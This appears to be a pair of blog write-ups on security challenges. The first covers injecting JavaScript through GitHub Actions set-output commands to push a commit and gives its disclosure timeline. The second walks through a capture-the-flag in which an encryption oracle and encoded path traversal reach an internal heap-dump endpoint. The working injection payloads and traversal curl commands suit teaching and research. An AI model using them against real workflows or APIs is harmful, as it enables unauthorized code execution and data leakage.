To solve the challenge, we first close the const id = variable assignment with 1; and inject JavaScript code using the pre-authenticated octokit/core.js to push a new commit overwriting README.md using GitHub REST API. I ended up with the following solution:

::set-output name=COMMENT_ID::1; console.log(context); console.log(process); await github.request('PUT /repos/{owner}/{repo}/contents/{path}', { owner: 'incrediblysecureinc', repo: 'incredibly-secure-Creastery', path: 'README.md', message: 'Escalated to Read-write Access', content: Buffer.from('Pwned!').toString('base64'), sha: '959c46eb0fbab9ab5b5bfb279ab6d70f720d1207' })

Note: console.log(context); console.log(process); is added purely for debugging and is not actually required to exploit the vulnerable workflow. 959c46eb0fbab9ab5b5bfb279ab6d70f720d1207 refers to the SHA for the git blob (README.md) being updated.

Why Did The Exploit Worked?

Now, we have successfully exploit the vulnerable workflow and solved the challenge. But, we have yet to understand why it worked under the hood.

Let’s continue by enabling logging in the Actions runner. To enable logging, follow the steps in the documentation and set the following repository secrets:

  • ACTIONS_RUNNER_DEBUG to true
  • ACTIONS_STEP_DEBUG to true

Since participants were given read-only access to the repository, it is not possible to set the secrets in the player-instanced repository. I proceeded to create a private test repository, added the debug repository secrets and imported the vulnerable workflow file.

After supplying a test comment, the workflow runs successfully with the following log:

...
##[debug]Starting: log issue comment
##[debug]Loading inputs
##[debug]Loading env
##[group]Run actions/github-script@v3
with:
  github-token: deadc0de
  script: console.log(process.env.COMMENT_BODY)
  return process.env.COMMENT_ID
  result-encoding: string
  debug: false
  user-agent: actions/github-script
env:
  COMMENT_BODY: Test
  COMMENT_ID: 802762169
##[endgroup]
test
::set-output name=result::802762169
##[debug]steps.comment_log.outputs.result='802762169'
##[debug]Node Action run completed with exit code 0
##[debug]Finishing: log issue comment
...

It turns out that the return process.env.COMMENT_ID does not set ${{ steps.comment_log.outputs.COMMENT_ID }} after all!
In fact, the comment_process step is referencing a supposedly non-existent output from the comment_log.

However, we do see ${{ steps.comment_log.outputs.result }} being set. Upon examining the source code of actions/github-script@v3, it is clear why this is the case:

...
const result = await callAsyncFunction(
  {require: require, github, context, core, io},
  script
)

...

core.setOutput('result', output)
...

What Could Go Wrong With Logging Untrusted Inputs? :see_no_evil:

One interesting thought I had was that, what if the workflow relied on outputs.result instead. Is the below modified workflow vulnerable?

...
    uses: actions/github-script@v3
    script: |
      console.log(process.env.COMMENT_BODY)
      return process.env.COMMENT_ID
    result-encoding: string
...
  - id: comment_process
    name: process comment
    uses: actions/github-script@v3
    timeout-minutes: 1
    if: ${{ steps.comment_log.outputs.result }}              // instead of outputs.COMMENT_ID
    with:
      script: |
        const id = ${{ steps.comment_log.outputs.result }}   // instead of outputs.COMMENT_ID
        return ""
      result-encoding: string

The answer is no – if set-output workflow command is executed multiple times for the same output name, only the last value is retained.

Notice that in the above workflow, a trailing newline is enforced implicitly when using console.log().

Now, let’s consider a similar workflow that instead logs untrusted input using process.stdout.write(). Is this vulnerable?

...
    uses: actions/github-script@v3
    script: |
      process.stdout.write(process.env.COMMENT_BODY)         // no trailing newline here
      return process.env.COMMENT_ID                          // does this overwrite existing ::set-output?
    result-encoding: string
...
  - id: comment_process
    name: process comment
    uses: actions/github-script@v3
    timeout-minutes: 1
    if: ${{ steps.comment_log.outputs.result }}              // instead of outputs.COMMENT_ID
    with:
      script: |
        const id = ${{ steps.comment_log.outputs.result }}   // instead of outputs.COMMENT_ID
        return ""
      result-encoding: string

This is a tricky question. I was not sure either, but it turns out this workflow is actually vulnerable!

But why? The Actions Runner reads each line of the step output, parses and executes any workflow commands (lines starting with the :: marker) detected. In the above workflow, the output from process.stdout.write(process.env.COMMENT_BODY) will be concatenated with the output from core.setOutput('result', output) triggered under the hood by the return statement in the inline script.

In other words, if the following comment body is supplied:

::set-output name=result::1; console.log("This should not be executed -- proof that we indeed have code injection:", 7*191);
JUNK

Note: There is no no trailing newline after JUNK.

The output shown in the job execution logs is:

::set-output name=result::1; console.log("This should not be executed -- proof that we indeed have code injection:", 7*191);
##[debug]steps.comment_log.outputs.result='1; console.log("This should not be executed -- proof that we indeed have code injection:", 7*191);'
JUNK::set-output name=result::802762169
##[debug]Node Action run completed with exit code 0
...
This should not be executed -- proof that we indeed have code injection: 1337

Observe that the ::set-output workflow command issued for the return value of the script does not enforces a leading newline prior to being concatenated with the logged untrusted input. This means that we can prevent the return statement from successfully setting the result step output by clobbering the ::set-output command with the untrusted input.

Examining the source code for @actions/core, we can see why this happens:

export function issueCommand(
  command: string,
  properties: CommandProperties,
  message: any
): void {
  const cmd = new Command(command, properties, message)
  process.stdout.write(cmd.toString() + os.EOL) // leading newline not guaranteed
}

As a result of the missing prepended newline, users who mistakenly trust the output of ${{ steps.*.outputs.result }} set by @actions/github-script through @actions/core may end up working with an untrusted value in subsequent job execution steps, which may lead to remote code/command execution and privilege escalation in seemingly secure workflows.

This issue was reported to GitHub via HackerOne and was resolved through the release of an interim solution to prepend a newline in all cores to core.setOutput():

  • @actions/core v1.2.7 [PR]
  • actions/github-script v4.0.2 [PR]

Admittedly, while the interim solution is necessary, it is far from perfect as workflows/actions using core.setOutput() under the hood may cause a lot of unnecessary newlines to appear in the job execution logs. In the future, this issue may be properly addressed with the complete removal of standard output command processing:

“To address the wider risks you bring up more holistically, we’re planning on removing stdout comand processing altogether in favor of a true CLI interface you’d need to explicitly choose to invoke to perform workflow commands. So long as info written to stdout can influence the runtime of an action, it’s no longer safe to print untrusted data to logs (and that’s certainly not a reasonable expectation to set for users of Actions). We may make some of this behavior more strict in the meantime, but long term we’re planning on tearing it out.”

Disclosure Timeline

  • March 23, 2021 – Reported to GitHub Bug Bounty program on HackerOne
  • March 24, 2021 – GitHub – Initial acknowledgement of report
  • April 12, 2021 – Enquired on the status of the report
  • April 12, 2021 – GitHub – Provided update that their engieering teams are still working on triaging this issue
  • April 17, 2021 – GitHub – Asked to review the pull request on @actions/toolkit to implement the interim fix prior to removal of standard output processing of set-output, and informed about long term plan to remove support for standard output processing
  • April 18, 2021 – Verified interim fix in @actions/core is correct, but noted that the dependency of actions/github-script is not updated accordingly. Agreed that depreciating standard output command processing is a good move to eliminate such unexpected vulnerabilities caused by logging untrusted inputs.
  • June 19, 2021 – GitHub – Resolved report and awarded bounty

Conclusion

In the past, there had been security concerns over the workflow commands being parsed and executed by the Actions runner, which leads to unexpected modification of environment variables/path injection and resulting in remote code/command execution in workflows. To mitigate such risks, the GitHub team decided to depreciate several workflow commands. It is strongly recommended to disable workflow commands processing prior to logging any untrusted input to avoid any unexpected behaviour!

Thanks to GitHub Security Lab team for creating this awesome challenge and for the bounty! Taking part in this challenge helped immensely in solidifying my understanding of GitHub Actions and security considerations one should make when creating workflows.

Recently, BugPoC had teamed up with @NahamSec and announced a memory leak challenge sponsored by Amazon on Twitter. The vulnerabilities presented in the challenge are rather realistic. In fact, I did encounter such vulnerabilities a couple of times while doing bug hunting on web applications! Besides presenting a walkthrough of the challenge in this write-up, I will also discuss alternative solutions and include some tips as well. Do read on if you are interested! :smile:

Introduction

The goal of the challenge is to find an insecurely insecurely stored Python variable called SECRET_API_KEY somewhere on the server – http://doggo.buggywebsite.com.

Let’s start by finding out more information about the challenge site provided.

$ dig doggo.buggywebsite.com +short any
doggo.buggywebsite.com.s3-website-us-west-2.amazonaws.com

It seems to be a Amazon S3 website. If the S3 bucket is misconfigured, we could possibly discover new information stored in the bucket, or even mess around with the files in the bucket. You can use a tool such as BucketScanner by @Rzepsky to check for common S3 bucket misconfigurations. Unfortunately, this bucket is not misconfigured, so let’s go back to the challenge site itself.

Visiting the challenge site at http://doggo.buggywebsite.com/, we can see a few images of dogs. Let’s examine the JavaScript file loaded (script.js) to better understand how the images are fetched dynamically:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
const API_ENDPOINT = "https://doggo-api.buggywebsite.com";

async function getURLs(pageNum){
  var PARAMS = {
    1: "gAAAAABgGg49vp03MkS2gsuz1SLZat7_z36Nkc4I-25X4-RtxXd_pxv964ObmIgunslqWO47kWxCWUSdZVCSlgqGnTi7ekqEaA==",
    2: "gAAAAABgGg5OwIOIQGgUJSF_iuwDa8XcB8im0v3l7S-cwZgkufRFsfb5EL4Dawc3ZA_xwyG8BkbIkMnFrl6ACVGzmd_9adDMfA==",
    3: "gAAAAABgGg5dGZ3R5ZHcBV3A4L2QM3-LMxsmbLFTSXWmBiXTa9BgAN8ZhmDQDONVaf7VT_s1CMK-uL8huNQy1wwfQovk1t7Jfw==",
    4: "gAAAAABgGg5u4W_yBC5YgusPCtmKOtxQYAgo161YK_Njo67ZLo6fGm6nyKwRIQ8divqkUL2mymw2fxeKF_BenpqSo79KuMj6JQ=="
  };
  var param = PARAMS[pageNum];
  var endpoint = API_ENDPOINT + '/get-dogs';

  let response = await fetch(endpoint, {
    headers: {
      'x-param': param,
      'x-fingerprint': localStorage.fingerprint,
    }
  });
  let data = await response.json()
  return data['body'];

}

function addImages(urls){
  var div = document.getElementById('images-div');
  div.innerHTML = '';
  for (var i = 0; i < urls.length; i++){
    var img = document.createElement('img');
    img.setAttribute('class', 'pretty-img');
    img.setAttribute('src', urls[i]);
    div.appendChild(img)
    div.appendChild(document.createElement('br'))
  }
}

function loadPage(pageNum){
  document.querySelector('#theLoader').style.display='inline';
  var buttons = document.getElementsByClassName('page-button');
  for (var i = 0; i < buttons.length; i++){
    buttons[i].disabled = false;
  }
  getURLs(pageNum).then(urls => {
    addImages(JSON.parse(urls));
    document.getElementById('button-'+pageNum).disabled = true;
    document.querySelector('#theLoader').style.display='none';
  })
}

async function setFingerprint(){
  if (localStorage.fingerprint == undefined) {
    document.querySelector('#theLoader').style.display='inline';
    var endpoint = API_ENDPOINT + '/fingerprint';
    let response = await fetch(endpoint);
    let data = await response.json()
    localStorage.fingerprint = data['fingerprint'];
  }
}

function initPage(){
  setFingerprint().then(_ => {
    loadPage(1);
  })
}

It seems that there is an API server at https://doggo-api.buggywebsite.com. This API server should be the actual target since the goal is to achieve some form of memory leakage, which we can’t really achieve on http://doggo.buggywebsite.com (a static website hosted on a S3 bucket).

Also, two endpoints can also be observed from the JavaScript code, namely:

  • /get-dogs– an endpoint accepting an encrypted x-param header value and loading different pages of dogs
  • /fingerprint – an endpoint used to obtain some value for fingerprinting the current user.

You may have also noticed that there are four Base-64 encoded strings starting with gAAAAAB. Decoding it yields binary data, indicating that the value may have been encrypted prior to being encoded. Doing a quick search on this substring reveals that this is likely to be using Fernet, an symmetric encryption module commonly used in building Python applications.

Since we do not know the secret key used to create the ciphertext, we cannot decrypt the ciphertext ourselves. There aren’t any relevant known weaknesses in Fernet that allows us to encrypt/decrypt text as well, so let’s just keep these information in mind and move on to examine the other information we just gathered.

/get-dogs Endpoint

Tracing the JavaScript code, we can see whenever a page is requested, a fingerprint value is first obtained from /fingerprint followed by requesting the list of images to load by querying the /get-dogs endpoint with the respective Base-64 encrypted value.

Let’s try to replicate this behaviour to better understand the application flow. We start by obtaining a valid fingerprint value:

$ curl -s -H 'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36' https://doggo-api.buggywebsite.com/fingerprint | jq -r .fingerprint | tee fingerprint.txt
gAAAAABgkm96w1MoKBnTslSzxiHX3VgcK-9j5ETD41Z0Q7zUm-gMCkNUdrJdg10n6l0SKxtmos5CrN4kkYACudYKcx_OGW3eezJ6ScQ3DHx_Sxr9kMavb5NTDKDO57iQPxNwu3DJGw_Sh1uok3McF-rEjTwd9ybzDbWfyFYYS9Ka-Gq6uAzHiNl9Z9sujy5XFUBoAcmEfoatp_Tl3LHCBv7Dbn0Et5YqPe5gxbRlDkvjqyw73nOJD7k=

Then, we attempt to request the dog images for all four Base-64 encoded strings we discovered earlier on.

$ echo 'gAAAAABgGg49vp03MkS2gsuz1SLZat7_z36Nkc4I-25X4-RtxXd_pxv964ObmIgunslqWO47kWxCWUSdZVCSlgqGnTi7ekqEaA==' > 1.b64
$ curl -H "x-fingerprint: $(cat fingerprint.txt)" -H "x-param: $(cat 1.b64)" https://doggo-api.buggywebsite.com/get-dogs
{"path": "/dogs?page=1", "statusCode": 200, "body": "[\"https://buggy-dog-pics.s3-us-west-2.amazonaws.com/dog1.jpg\", \"https://buggy-dog-pics.s3-us-west-2.amazonaws.com/dog2.jpg\", \"https://buggy-dog-pics.s3-us-west-2.amazonaws.com/dog3.jpg\", \"https://buggy-dog-pics.s3-us-west-2.amazonaws.com/dog4.jpg\", \"https://buggy-dog-pics.s3-us-west-2.amazonaws.com/dog5.jpg\"]"}

$ echo 'gAAAAABgGg5OwIOIQGgUJSF_iuwDa8XcB8im0v3l7S-cwZgkufRFsfb5EL4Dawc3ZA_xwyG8BkbIkMnFrl6ACVGzmd_9adDMfA==' > 2.b64
$ curl -H "x-fingerprint: $(cat fingerprint.txt)" -H "x-param: $(cat 2.b64)" https://doggo-api.buggywebsite.com/get-dogs
{"path": "/dogs?page=2", "statusCode": 200, "body": "[\"https://buggy-dog-pics.s3-us-west-2.amazonaws.com/dog6.jpg\", \"https://buggy-dog-pics.s3-us-west-2.amazonaws.com/dog7.jpg\", \"https://buggy-dog-pics.s3-us-west-2.amazonaws.com/dog8.jpg\", \"https://buggy-dog-pics.s3-us-west-2.amazonaws.com/dog9.jpg\", \"https://buggy-dog-pics.s3-us-west-2.amazonaws.com/dog10.jpg\"]"}

$ echo 'gAAAAABgGg5dGZ3R5ZHcBV3A4L2QM3-LMxsmbLFTSXWmBiXTa9BgAN8ZhmDQDONVaf7VT_s1CMK-uL8huNQy1wwfQovk1t7Jfw==' > 3.b64
$ curl -H "x-fingerprint: $(cat fingerprint.txt)" -H "x-param: $(cat 3.b64)" https://doggo-api.buggywebsite.com/get-dogs
{"path": "/dogs?page=3", "statusCode": 200, "body": "[\"https://buggy-dog-pics.s3-us-west-2.amazonaws.com/dog11.jpg\", \"https://buggy-dog-pics.s3-us-west-2.amazonaws.com/dog12.jpg\", \"https://buggy-dog-pics.s3-us-west-2.amazonaws.com/dog13.jpg\", \"https://buggy-dog-pics.s3-us-west-2.amazonaws.com/dog14.jpg\", \"https://buggy-dog-pics.s3-us-west-2.amazonaws.com/dog15.jpg\"]"}

$ echo 'gAAAAABgGg5u4W_yBC5YgusPCtmKOtxQYAgo161YK_Njo67ZLo6fGm6nyKwRIQ8divqkUL2mymw2fxeKF_BenpqSo79KuMj6JQ==' > 4.b64
$ curl -H "x-fingerprint: $(cat fingerprint.txt)" -H "x-param: $(cat 4.b64)" https://doggo-api.buggywebsite.com/get-dogs
{"path": "/dogs?page=4", "statusCode": 200, "body": "[\"https://buggy-dog-pics.s3-us-west-2.amazonaws.com/dog16.jpg\", \"https://buggy-dog-pics.s3-us-west-2.amazonaws.com/dog17.jpg\", \"https://buggy-dog-pics.s3-us-west-2.amazonaws.com/dog18.jpg\", \"https://buggy-dog-pics.s3-us-west-2.amazonaws.com/dog19.jpg\", \"https://buggy-dog-pics.s3-us-west-2.amazonaws.com/dog20.jpg\"]"}

Notice that the paths in the responses are largely similar. From our above testing, we can infer that the encrypted value likely contains /dogs?page=1, or perhaps simply ?page=1. Besides that, we also have two new discoveries:

  1. We now know that there is yet another endpoint on this API server – /dogs
  2. We found another S3 bucket at buggy-dog-pics.s3-us-west-2.amazonaws.com (spoiler: nothing much here, really :joy:)

Internal Endpoints

Let’s try to access the /dogs endpoint directly:

$ curl https://doggo-api.buggywebsite.com/dogs
Error, this endpoint is only internally accessible

It seems like this is an endpoint accessible via the internal network only. It’s worth nothing that we could fiddle around with headers such as X-Forwarded-For: 127.0.0.1 to trick the application into thinking that we are making the request from an internal network and be able to access the endpoint, but in this case the server isn’t vulnerable to such attacks.

Let’s move on to fuzz for other endpoints and see what we can do with them:

$ ffuf -u 'https://doggo-api.buggywebsite.com/FUZZ' -w ./SecLists/Discovery/Web-Content/quickhits.txt

        /'___\  /'___\           /'___\
       /\ \__/ /\ \__/  __  __  /\ \__/
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
         \ \_\   \ \_\  \ \____/  \ \_\
          \/_/    \/_/   \/___/    \/_/

       v1.3.1
________________________________________________

 :: Method           : GET
 :: URL              : https://doggo-api.buggywebsite.com/FUZZ
 :: Wordlist         : FUZZ: ./SecLists/Discovery/Web-Content/quickhits.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200,204,301,302,307,401,403
________________________________________________

/heapdump               [Status: 401, Size: 50, Words: 7, Lines: 1]

Looks suspicious. Let’s check the response of the /heapdump endpoint:

$ curl https://doggo-api.buggywebsite.com/heapdump
Error, this endpoint is only internally accessible

We discovered another internal endpoint! But now what? What else can we do? :thinking:

Encryption & Decryption Oracles

Recall that earlier, we had to generate a fingerprint before using the /get-dogs endpoint to fetch the respective page of dog images. Let’s take a closer look at the endpoint request and response again carefully:

$ curl -s -H 'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36' https://doggo-api.buggywebsite.com/fingerprint | jq -r .fingerprint | tee fingerprint.txt
gAAAAABgkm96w1MoKBnTslSzxiHX3VgcK-9j5ETD41Z0Q7zUm-gMCkNUdrJdg10n6l0SKxtmos5CrN4kkYACudYKcx_OGW3eezJ6ScQ3DHx_Sxr9kMavb5NTDKDO57iQPxNwu3DJGw_Sh1uok3McF-rEjTwd9ybzDbWfyFYYS9Ka-Gq6uAzHiNl9Z9sujy5XFUBoAcmEfoatp_Tl3LHCBv7Dbn0Et5YqPe5gxbRlDkvjqyw73nOJD7k=

Notice that the fingerprint returned in the JSON response starts with gAAAAAB too, indicating that the string may very well be a ciphertext produced using Fernet! What if we try to supply this fingerprint value as the x-param header value instead of one of the four pre-defined Base-64 strings?

$ curl -H "x-fingerprint: $(cat fingerprint.txt)" -H "x-param: $(cat fingerprint.txt)" https://doggo-api.buggywebsite.com/get-dogs
{"path": "/dogs{\"UA\": \"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36\"}", "statusCode": 404, "body": "{\"message\":\"Not Found\"}"}

Interesting! It looks like we are able to successfully decrypt the fingerprint value. This indicates that the encryption key used for generating the four hardcoded Base-64 strings in the JavaScript file is also the same for generating the encrypted fingerprint value.

We can infer the following from the above output:

  • The fingerprint contains a serialised JSON object: {"UA": request.headers["User-Agent"]}.
  • The /get-dogs endpoint creates an URL to be fetched on the server-side by concatenating the protocol (e.g. http://), backend host (e.g. localhost), port (e.g. 80), the string /dogs, and the decrypted x-param header value. In other words, the server-side request URL is formed using: 'http://localhost:80/dogs' + decrypt(request.headers['x-param']).

In addition, we now know that we have a encryption oracle (using /fingerprint endpoint with a custom User-Agent header value) and a decryption oracle (using /get-dogs endpoint with a custom x-param header value containing the ciphertext). These provides us powerful primitives – we can create valid ciphertexts for our chosen plaintext (although with some data prepended/appended due to JSON serialisation) and use the generated ciphertexts to tamper with the request path in the server-side request!

Getting to the /heapdump

Let’s take a closer look at how we can tamper with the request path:

$ curl -s -H 'User-Agent: TEST' https://doggo-api.buggywebsite.com/fingerprint | jq -r .fingerprint | tee fingerprint.txt
gAAAAABgku7UVOl_To_pUd7J1qzYfOJvbEhVqpa_7DN_7m5YZI0np1jfXoVzWSRROrWQy4bxWuYylza3pUMZffRv5DZ2DPQZsA==
$ curl -H "x-fingerprint: $(cat fingerprint.txt)" -H "x-param: $(cat fingerprint.txt)" https://doggo-api.buggywebsite.com/get-dogs
{"path": "/dogs{\"UA\": \"TEST\"}", "statusCode": 404, "body": "{\"message\":\"Not Found\"}"}

Since we can’t modify the prepended /dogs string, the server-side request will always use a relative path beginning with /dogs. What we can do is to perform a path traversal attack to access another endpoint besides /dogs as such:

  • Set User-Agent header value to /../heapdump#
  • This results in the URL to be requested to be something like: http://localhost/dogs{"UA": "/../heapdump#"}, which may be normalised by the webserver to be: http://localhost/heapdump.

Note: Since the hash fragment is not actually a part of a URL, it (usually) isn’t sent to the server. Most webservers also ignore the hash fragment, so we can effectively get rid of the trailing "} produced by the JSON serialisation. You could also use ? to force the trailing "} to be treated as a query string parameter, but some applications may not like that :)

Let’s try out the attack idea:

$ curl -s -H 'User-Agent: /../heapdump#' https://doggo-api.buggywebsite.com/fingerprint | jq -r .fingerprint | tee fingerprint.txt
gAAAAABgkvSr7zNtRXxDO14Y37625vSYXQ9Ma8YwdxnEuWyV9cxCVzprPIl60ped_DSlpq2l2QKuAXbbSvRu479zVF97tMj4A-W8IEu5I6qpruHDf2w8Bm8
$ curl -H "x-fingerprint: $(cat fingerprint.txt)" -H "x-param: $(cat fingerprint.txt)" https://doggo-api.buggywebsite.com/get-dogs
{"path": "/dogs{\"UA\": \"/heapdump#\"}", "statusCode": 404, "body": "{\"message\":\"Not Found\"}"}

It seems like ../ is being stripped from the request path. There’s actually two bypasses for it.

The first solution is that because ../ is only stripped once globally and not done recursively, supplying ..././ will end up being ../, which is exactly what we wanted!

The second solution is to use a URL-encoded path traversal payloads such as ..%2f, .%2e/, %2e%2e%2f instead of ../. This works because the most webservers URL-decodes the request path before routing it to the application. We can easily verify this behaviour is indeed existent:

$ curl https://doggo-api.buggywebsite.com/fingerprint/..%2fdogs
Error, this endpoint is only internally accessible

Clearly, we ended up getting routed to the /dogs internal endpoint instead of the publicly-accessible /fingerprint endpoint, proving that this is indeed working.

Now, let’s go get the flag!

$ curl -s -H 'User-Agent: /..%2fheapdump#' https://doggo-api.buggywebsite.com/fingerprint | jq -r .fingerprint | tee fingerprint.txt
gAAAAABgkvWY5SmGJUpySKZn2AjGP27q41C6DKljy3Xkg08fQZfvnvSCbAse2k_Dmx_JaVKN-QaOzgSQq2Nz_pIpDTUYMdhbdd_kjH9q1d1llgnKoECvB7o=
$ curl -H "x-fingerprint: $(cat fingerprint.txt)" -H "x-param: $(cat fingerprint.txt)" https://doggo-api.buggywebsite.com/get-dogs
{"path": "/dogs{\"UA\": \"/..%2fheapdump#\"}", "statusCode": 200, "body": "\"name,size,value;__name__,57,lambda_function;__doc__,56,None;__package__,60,;__loader__,59,<_frozen_importlib_external.SourceFileLoader object at 0x7f9e042319a0>;__spec__,57,ModuleSpec(name='lambda_function', loader=<_frozen_importlib_external.SourceFileLoader object at 0x7f9e042319a0>, origin='/var/task/lambda_function.py');__file__,57,/var/task/lambda_function.py;__cached__,59,/var/task/__pycache__/lambda_function.cpython-38.pyc;__builtins__,61,{'__name__': 'builtins', '__doc__': \\\"Built-in functions, exceptions, and other objects.\\\\n\\\\nNoteworthy: None is the `nil' object; Ellipsis represents `...' in slices.\\\", '__package__': '', '__loader__': <class '_frozen_importlib.BuiltinImporter'>, '__spec__': ModuleSpec(name='builtins', loader=<class '_frozen_importlib.BuiltinImporter'>), '__build_class__': <built-in function __build_class__>, '__import__': <built-in function __import__>, 'abs': <built-in function abs>, 'all': <built-in function all>, 'any': <built-in function any>, 'ascii': <built-in function ascii>, 'bin': <built-in function bin>, 'breakpoint': <built-in function breakpoint>, 'callable': <built-in function callable>, 'chr': <built-in function chr>, 'compile': <built-in function compile>, 'delattr': <built-in function delattr>, 'dir': <built-in function dir>, 'divmod': <built-in function divmod>, 'eval': <built-in function eval>, 'exec': <built-in function exec>, 'format': <built-in function format>, 'getattr': <built-in function getattr>, 'globals': <built-in function globals>, 'hasattr': <built-in function hasattr>, 'hash': <built-in function hash>, 'hex': <built-in function hex>, 'id': <built-in function id>, 'input': <built-in function input>, 'isinstance': <built-in function isinstance>, 'issubclass': <built-in function issubclass>, 'iter': <built-in function iter>, 'len': <built-in function len>, 'locals': <built-in function locals>, 'max': <built-in function max>, 'min': <built-in function min>, 'next': <built-in function next>, 'oct': <built-in function oct>, 'ord': <built-in function ord>, 'pow': <built-in function pow>, 'print': <built-in function print>, 'repr': <built-in function repr>, 'round': <built-in function round>, 'setattr': <built-in function setattr>, 'sorted': <built-in function sorted>, 'sum': <built-in function sum>, 'vars': <built-in function vars>, 'None': None, 'Ellipsis': Ellipsis, 'NotImplemented': NotImplemented, 'False': False, 'True': True, 'bool': <class 'bool'>, 'memoryview': <class 'memoryview'>, 'bytearray': <class 'bytearray'>, 'bytes': <class 'bytes'>, 'classmethod': <class 'classmethod'>, 'complex': <class 'complex'>, 'dict': <class 'dict'>, 'enumerate': <class 'enumerate'>, 'filter': <class 'filter'>, 'float': <class 'float'>, 'frozenset': <class 'frozenset'>, 'property': <class 'property'>, 'int': <class 'int'>, 'list': <class 'list'>, 'map': <class 'map'>, 'object': <class 'object'>, 'range': <class 'range'>, 'reversed': <class 'reversed'>, 'set': <class 'set'>, 'slice': <class 'slice'>, 'staticmethod': <class 'staticmethod'>, 'str': <class 'str'>, 'super': <class 'super'>, 'tuple': <class 'tuple'>, 'type': <class 'type'>, 'zip': <class 'zip'>, '__debug__': True, 'BaseException': <class 'BaseException'>, 'Exception': <class 'Exception'>, 'TypeError': <class 'TypeError'>, 'StopAsyncIteration': <class 'StopAsyncIteration'>, 'StopIteration': <class 'StopIteration'>, 'GeneratorExit': <class 'GeneratorExit'>, 'SystemExit': <class 'SystemExit'>, 'KeyboardInterrupt': <class 'KeyboardInterrupt'>, 'ImportError': <class 'ImportError'>, 'ModuleNotFoundError': <class 'ModuleNotFoundError'>, 'OSError': <class 'OSError'>, 'EnvironmentError': <class 'OSError'>, 'IOError': <class 'OSError'>, 'EOFError': <class 'EOFError'>, 'RuntimeError': <class 'RuntimeError'>, 'RecursionError': <class 'RecursionError'>, 'NotImplementedError': <class 'NotImplementedError'>, 'NameError': <class 'NameError'>, 'UnboundLocalError': <class 'UnboundLocalError'>, 'AttributeError': <class 'AttributeError'>, 'SyntaxError': <class 'SyntaxError'>, 'IndentationError': <class 'IndentationError'>, 'TabError': <class 'TabError'>, 'LookupError': <class 'LookupError'>, 'IndexError': <class 'IndexError'>, 'KeyError': <class 'KeyError'>, 'ValueError': <class 'ValueError'>, 'UnicodeError': <class 'UnicodeError'>, 'UnicodeEncodeError': <class 'UnicodeEncodeError'>, 'UnicodeDecodeError': <class 'UnicodeDecodeError'>, 'UnicodeTranslateError': <class 'UnicodeTranslateError'>, 'AssertionError': <class 'AssertionError'>, 'ArithmeticError': <class 'ArithmeticError'>, 'FloatingPointError': <class 'FloatingPointError'>, 'OverflowError': <class 'OverflowError'>, 'ZeroDivisionError': <class 'ZeroDivisionError'>, 'SystemError': <class 'SystemError'>, 'ReferenceError': <class 'ReferenceError'>, 'MemoryError': <class 'MemoryError'>, 'BufferError': <class 'BufferError'>, 'Warning': <class 'Warning'>, 'UserWarning': <class 'UserWarning'>, 'DeprecationWarning': <class 'DeprecationWarning'>, 'PendingDeprecationWarning': <class 'PendingDeprecationWarning'>, 'SyntaxWarning': <class 'SyntaxWarning'>, 'RuntimeWarning': <class 'RuntimeWarning'>, 'FutureWarning': <class 'FutureWarning'>, 'ImportWarning': <class 'ImportWarning'>, 'UnicodeWarning': <class 'UnicodeWarning'>, 'BytesWarning': <class 'BytesWarning'>, 'ResourceWarning': <class 'ResourceWarning'>, 'ConnectionError': <class 'ConnectionError'>, 'BlockingIOError': <class 'BlockingIOError'>, 'BrokenPipeError': <class 'BrokenPipeError'>, 'ChildProcessError': <class 'ChildProcessError'>, 'ConnectionAbortedError': <class 'ConnectionAbortedError'>, 'ConnectionRefusedError': <class 'ConnectionRefusedError'>, 'ConnectionResetError': <class 'ConnectionResetError'>, 'FileExistsError': <class 'FileExistsError'>, 'FileNotFoundError': <class 'FileNotFoundError'>, 'IsADirectoryError': <class 'IsADirectoryError'>, 'NotADirectoryError': <class 'NotADirectoryError'>, 'InterruptedError': <class 'InterruptedError'>, 'PermissionError': <class 'PermissionError'>, 'ProcessLookupError': <class 'ProcessLookupError'>, 'TimeoutError': <class 'TimeoutError'>, 'open': <built-in function open>, 'quit': Use quit() or Ctrl-D (i.e. EOF) to exit, 'exit': Use exit() or Ctrl-D (i.e. EOF) to exit, 'copyright': Copyright (c) 2001-2021 Python Software Foundation.\\nAll Rights Reserved.\\n\\nCopyright (c) 2000 BeOpen.com.\\nAll Rights Reserved.\\n\\nCopyright (c) 1995-2001 Corporation for National Research Initiatives.\\nAll Rights Reserved.\\n\\nCopyright (c) 1991-1995 Stichting Mathematisch Centrum, Amsterdam.\\nAll Rights Reserved., 'credits':     Thanks to CWI, CNRI, BeOpen.com, Zope Corporation and a cast of thousands\\n    for supporting Python development.  See www.python.org for more information., 'license': Type license() to see the full license text, 'help': Type help() for interactive help, or help(object) for help about object.};json,53,<module 'json' from '/var/lang/lib/python3.8/json/__init__.py'>;sys,52,<module 'sys' (built-in)>;SECRET_API_KEY,63,flag{gr8_job_h@cker};get_memory,59,<function get_memory at 0x7f9e03fb1160>;verify_internal_request,72,<function verify_internal_request at 0x7f9e03fb1280>;lambda_handler,63,<function lambda_handler at 0x7f9e03fb1310>;\""}

Near the end of the heap dump, we see the flag :)

Solution

To summarise, the following observations and steps were led us to the flag:

  1. There is an internal endpoint (found through fuzzing) at /heapdump that dumps memory, including SECRET_API_KEY variable which contains the flag.
  2. The publicly-accessible /get-dogs endpoint appends the decrypted x-param header value in the requested path as such: '/dogs' + decrypt(request.headers['x-param']).
  3. The publicly-accessible /fingerprint endpoint generates the encrypted value of: {"UA": request.headers["User-Agent"]}, which gives rise to an encryption oracle.
  4. Although the /get-dogs endpoint has some prevention against path traversal (e.g. stripping ../ from the request path), it is still possible to achieve path traversal using URL-encoding / to %2f.
